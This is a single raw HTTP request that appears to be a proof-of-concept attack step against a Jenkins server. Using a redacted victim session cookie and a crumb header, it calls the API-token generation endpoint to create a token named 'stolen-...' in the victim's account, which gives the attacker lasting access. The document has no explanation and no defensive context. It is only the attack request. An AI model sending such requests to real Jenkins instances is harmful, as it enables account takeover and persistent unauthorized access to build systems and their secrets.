POST /me/descriptorByName/jenkins.security.ApiTokenProperty/generateNewToken HTTP/1.1
Host: jenkins.example.test
Cookie: victim-session (redacted)
Jenkins-Crumb: 3d3357c29df1104e0af78ff4deb5d42535a434e6d0234a2c71465cde0e514648
Content-Type: application/x-www-form-urlencoded

newTokenName=stolen-1788456777-21124-2